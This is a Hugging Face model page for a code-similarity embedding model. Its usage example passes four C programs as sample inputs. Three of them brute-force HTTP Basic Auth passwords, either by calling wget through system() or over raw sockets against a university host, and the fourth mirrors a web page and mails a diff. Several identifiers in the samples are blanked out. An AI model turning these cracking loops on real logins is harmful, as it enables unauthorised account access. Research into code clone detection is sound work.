Hugging Face's logo Hugging Face
  • Models
  • Datasets
  • Spaces
  • Buckets new
  • Docs
  • Enterprise
  • Pricing
    • Website
      • Tasks
      • HuggingChat
      • Collections
      • Languages
      • Organizations
    • Community
      • Blog
      • Posts
      • Daily Papers
      • Learn
      • Discord
      • Forum
      • GitHub
    • Solutions
      • Team & Enterprise
      • Hugging Face PRO
      • Enterprise Support
      • Inference Providers
      • Inference Endpoints
      • Storage Buckets

  • Log In
  • Sign Up

buelfhood
/
SOCO-C-PLBART-ST

Sentence Similarity
sentence-transformers
Safetensors
plbart
feature-extraction
dense
Generated from Trainer
dataset_size:3081
loss:BatchAllTripletLoss
Model card Files Files and versions
xet
Community

Instructions to use buelfhood/SOCO-C-PLBART-ST with libraries, inference providers, notebooks, and local apps. Follow these links to get started.

  • Libraries
  • sentence-transformers

    How to use buelfhood/SOCO-C-PLBART-ST with sentence-transformers:

    from sentence_transformers import SentenceTransformer
    
    model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
    
    sentences = [
        "\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include  <time.h>\n\nint ()  \n{\n  int i,j,k,cntr=0;\n  char  pass[3];\n  char password[3];\n  char get[96];\n  char username[]=\"\";\n  int R_VALUE;\n  double time_used;\n  \n  clock_t ,end; \n  \n   =clock(); \n  \n  \n  \n  for (i = 65; i <= 122; i++)\n  {\n    if(i==91) {i=97;}\n   \n       for (j = 65; j <= 122; j++)\n\t   {\n         if(j==91) {j=97;}\n      \n           for (k = 65; k <= 122; k++)\n\t\t   {\n            if(k==91) {k=97;}  \n         \n             pass[0] = i;\n             pass[1] = j;\n\t         pass[2] = k;\n             sprintf(password,\"%c%c%c\",pass[0],pass[1],pass[2]);       \n             cntr++;\n\t         \n\t\t\t printf(\"%d )%s\\n\\n\", cntr, password);\n             sprintf(get,\"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n             \n\n\t         R_VALUE=system(get);\n\t  \n\t          if(R_VALUE==0) \n\t\t\t  {\n\t\t        printf(\"The Password has been cracked and it is : %s\" , password);\n\t\t        exit(0);\n\t\t\t  }\n\t\t   }\n     \n\t   }\n  \n  }\n  \n  end = clock();\n\ntime_used = ((double) (end - )) / CLOCKS_PER_SEC;\n\nprintf(\"time_used = %f\\n\", time_used);\n}\n\n",
        "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE  1\n#define FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK            200\n#define STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED          2\n\n\nchar *host;\nchar *filename;\nint  ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\nvoid printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n{\n    char password[PASSWORD_LENGTH+1];\n    int i;\n\n    \n\n    attempt = 0;\n    processArguments(argc, argv, &url, &username);\n    splitURL(url, &host, &filename);\n\n    initialiseConnection();\n     = openConnection();\n\n    \n\n    for (i=1; i<=PASSWORD_LENGTH; i++)\n    {\n        memset(password, 0, PASSWORD_LENGTH+1);\n        generatePassword(password, i);\n    }\n\n    printf(\"The password has not been cracked\\n\");\n    exit(RETURN_OK);\n\n}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n    static const char *chars = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n    int currLength;\n    int i;\n\n    currLength = strlen(password);\n    currLength++;\n\n    for (i=0; i<strlen(chars); i++)\n    {\n        password[currLength-1] = chars[i];\n\n        if (strlen(password) != reqLength)\n        {\n           \n           generatePassword(password, reqLength);\n        }\n        else\n        {\n           testPassword(password);\n        }\n\n        password[currLength] = '\\0';\n    }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n    int status;\n\n    attempt++;\n\n    \nTestPassword:\n    sendRequest(, host, filename, username, password);\n    status = getResponseStatus();\n\n    if (status == STATUS_OK)\n    {\n        printf(\"The password has been found after %d attempts: %s\\n\",\n               attempt, password);\n        exit(RETURN_OK);\n    }\n    else if (status == CONN_CLOSED)\n    {\n        \n        ();\n         = openConnection();\n        goto TestPassword;        \n    }\n    else if (status != STATUS_AUTH_REQUIRED)\n    {\n        printf(\"Status %d received from server\\n\", status);\n        exit(RETURN_ERROR);\n    }\n\n}\n\n\n\n\nvoid processArguments(int argc, char *argv[], char **url, char **username)\n{\n    if (argc != 3)\n    {\n        printUsage(argv[0]);\n        exit(1);\n    }\n\n    *url = (char *) malloc(strlen(argv[1] + 1));\n    strcpy(*url, argv[1]);\n\n    *username = (char *) malloc(strlen(argv[2] + 1));\n    strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char *program)\n{\n    fprintf(stderr, \"Usage:\\n\");\n    fprintf(stderr, \"%s url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char **host, char **file)\n{\n    char *p1; \n    char *p2;\n\n    \n    p1 = strstr(url, \"//\");\n    if (p1 == NULL)\n        p1 = (char *) url;\n    else\n        p1 = p1 + 2;\n\n    \n    p2 = strstr(p1, \"/\");\n    if (p2 == NULL)\n    {\n        fprintf(stderr, \"Invalid url\\n\");\n        exit(RETURN_ERROR);\n    }\n\n    *host = (char *) malloc(p2-p1+2);\n    strncpy(*host, p1, p2-p1);\n    (*host)[p2-p1] = '\\0';\n\n    *file = (char *) malloc(strlen(p2+1));\n    strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename, char *username, \n                 char *password)\n{\n    char message[BUFFER_SIZE];\n    unsigned char encoded[BUFFER_SIZE];\n    unsigned char token[BUFFER_SIZE];\n\n    \n\n    \n    sprintf((char *) token, \"%s:%s\", username, password);\n    base64_encode(token, encoded);\n\n    sprintf(message, \"GET %s HTTP/1.1\\nHost: %s\\nAuthorization:  %s\\n\\n\",\n            filename, host, encoded);\n\n    if (write(, message, strlen(message)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n    }\n}\n\n\n\n\nint getResponseStatus()\n{\n    char message[BUFFER_SIZE];\n    int  bytesRead;\n    char *p1;\n    char status_str[4];\n    int  status;\n\n    \n\n    while (TRUE)\n    {\n        bytesRead = (, message, BUFFER_SIZE-1);\n        if (bytesRead == -1)\n        {\n            perror(\"\");\n            exit(RETURN_ERROR);\n        }\n        else if (bytesRead == 0)\n        {\n            \n            return CONN_CLOSED;\n        }\n\n        message[bytesRead+1] = '\\0';\n\n        \n        p1 = strstr(message, \"HTTP\");\n        if (p1 != NULL)\n        {\n            p1 = p1 + 9;\n            break;\n        }\n    }\n\n    strncpy(status_str, p1, 3);\n    status_str[3] = '\\0';\n    status = atol(status_str);\n\n    return status;\n}\n\n\n\n\nint openConnection()\n{\n    int ;\n\n    if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n    }\n\n    if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)\n    {\n        perror(\"connect\");\n        exit(RETURN_ERROR);\n    }\n\n    return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n    struct hostent *serverHostent;\n    unsigned  serverIP;\n    char errorMsg[BUFFER_SIZE]; \n\n\n    \n\n    memset(&serverAddr, 0, sizeof(serverAddr));\n    serverAddr.sin_port = htons(80);\n\n\n    if ((serverIP = inet_addr(host)) != -1)\n    {\n        serverAddr.sin_family = AF_INET;\n        serverAddr.sin_addr.s_addr = serverIP;\n    }\n    else if ((serverHostent = gethostbyname(host)) != NULL)\n    {\n\tserverAddr.sin_family = serverHostent->h_addrtype;\n        memcpy((void *) &serverAddr.sin_addr,\n\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n    }\n    else\n    {\n       getHostErrorMsg(errorMsg);\n       printf(\"%s: %s\\n\", host, errorMsg);\n       exit(RETURN_ERROR);\n    }\n}\n\n\n\n \nvoid base64_encode(const unsigned char *input, unsigned char *output)\n{\n    static const char *codes = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n    int i;\n    int len;\n    int lenfull;\n    unsigned char *p;\n    int a;\n    int b;\n    int c;\n    \n    p = output;\n    len = strlen((char *) input);\n\n    \n\n    lenfull = 3*(len / 3);\n    for (i = 0; i < lenfull; i += 3) \n    {\n        *p++ = codes[input[0] >> 2];\n        *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];\n        *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];\n        *p++ = codes[input[2] & 0x3f];\n        input += 3;\n    }\n\n\n    \n\n    if (i < len)\n    {\n        a = input[0];\n        b = (i+1 < len) ? input[1] : 0;\n        c = 0;\n\n        *p++ = codes[a >> 2];\n        *p++ = codes[((a & 3) << 4) + (b >> 4)];\n        *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n        *p++ = '=';\n    }\n\n    \n    *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n{\n    switch (h_errno)\n    {\n         HOST_NOT_FOUND :\n             strcpy(message, \"The specified host is unknown\");\n             break;\n\n         NO_DATA:\n             strcpy(message, \"The specified host name is valid, but does not have   address\");\n             break;\n\n         NO_RECOVERY:\n             strcpy(message, \"A non-recoverable name server error occurred\");\n             break;\n\n         TRY_AGAIN:\n             strcpy(message, \"A temporary error occurred   authoritative name server. Try again later.\");\n             break;\n\n        default:\n             strcpy(message, \" unknown name server error occurred.\");\n    }\n}\n\n",
        "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <ctype.h>\n#define OneBillion 1e9 \n\nint (){\n   int i=65,j=65,k=65,count=0,res=1;\n   char arry[3],send[100];\n   int startTime, stopTime, final;\n   startTime = time();\n   for(i;i<123;i++){\n      if(i<91 || i>96){\n         arry[0]=i;\n\t j=65;\n\t for(j;j<123;j++){\n\t    if(j<91 || j>96){\n\t       arry[1]=j;\n\t       k=65;\n\t       for(k;k<123;k++){\n\t\t  if(k<91 || k>96){\n\t\t     arry[2]=k;\n\t\t     arry[3]='\\0';\n\t\t     strcpy(send,\"wget --http-user= --http-passwd=\");\n\t\t     strcat(send,arry);\n\t\t     strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t     count++;\n\t             if((res=(system(send)) == 0)) {\n\t\t        stopTime = time();\n\t\t\tfinal = stopTime-startTime;\n\t\t\tprintf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n\",arry,(double)final/OneBillion,count);\n\t\t\texit(1);\n\t\t     }\n\t\t  }\n\t       }\n            }\n         }\n      }\n   }\n   printf(\"\\npassword not found\\n\");\n   exit(1);\n}\n",
        "\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include <strings.h>\n#include <ctype.h>\n\nint ()\n{\n  char word[15], *chk;\n  system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\");\n  system(\"mkdir one\");\n  system(\"mv www.cs.rmit.edu./images/*.*  one/\");\n  system(\"mv www.cs.rmit.edu./students/*.* one/\");\n  sleep(15);\n  system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\");\n  system(\"mkdir two\");\n  system(\"mv www.cs.rmit.edu./images/*.* two/\");\n  system(\"mv www.cs.rmit.edu./students/*.* two/\");\n  system(\"diff one two > difference.txt\");\n  system(\"mailx -s  \\\"Message1\\\"   < difference.txt\");\n  return 0;\n}\n"
    ]
    embeddings = model.encode(sentences)
    
    similarities = model.similarity(embeddings, embeddings)
    print(similarities.shape)
    # [4, 4]
  • Notebooks
  • Google Colab
  • Kaggle
SOCO-C-PLBART-ST
558 MB
Ctrl+K
Ctrl+K
  • 1 contributor
History: 2 commits
buelfhood's picture
buelfhood
Add new SentenceTransformer model
52e0df4 verified 11 months ago
  • 1_Pooling
    Add new SentenceTransformer model 11 months ago
  • .gitattributes
    1.52 kB
    initial commit 11 months ago
  • README.md
    78.4 kB
    Add new SentenceTransformer model 11 months ago
  • config.json
    787 Bytes
    Add new SentenceTransformer model 11 months ago
  • config_sentence_transformers.json
    283 Bytes
    Add new SentenceTransformer model 11 months ago
  • model.safetensors
    557 MB
    xet
    Add new SentenceTransformer model 11 months ago
  • modules.json
    229 Bytes
    Add new SentenceTransformer model 11 months ago
  • sentence_bert_config.json
    57 Bytes
    Add new SentenceTransformer model 11 months ago
  • sentencepiece.bpe.model
    986 kB
    xet
    Add new SentenceTransformer model 11 months ago
  • special_tokens_map.json
    367 Bytes
    Add new SentenceTransformer model 11 months ago
  • tokenizer_config.json
    1.88 kB
    Add new SentenceTransformer model 11 months ago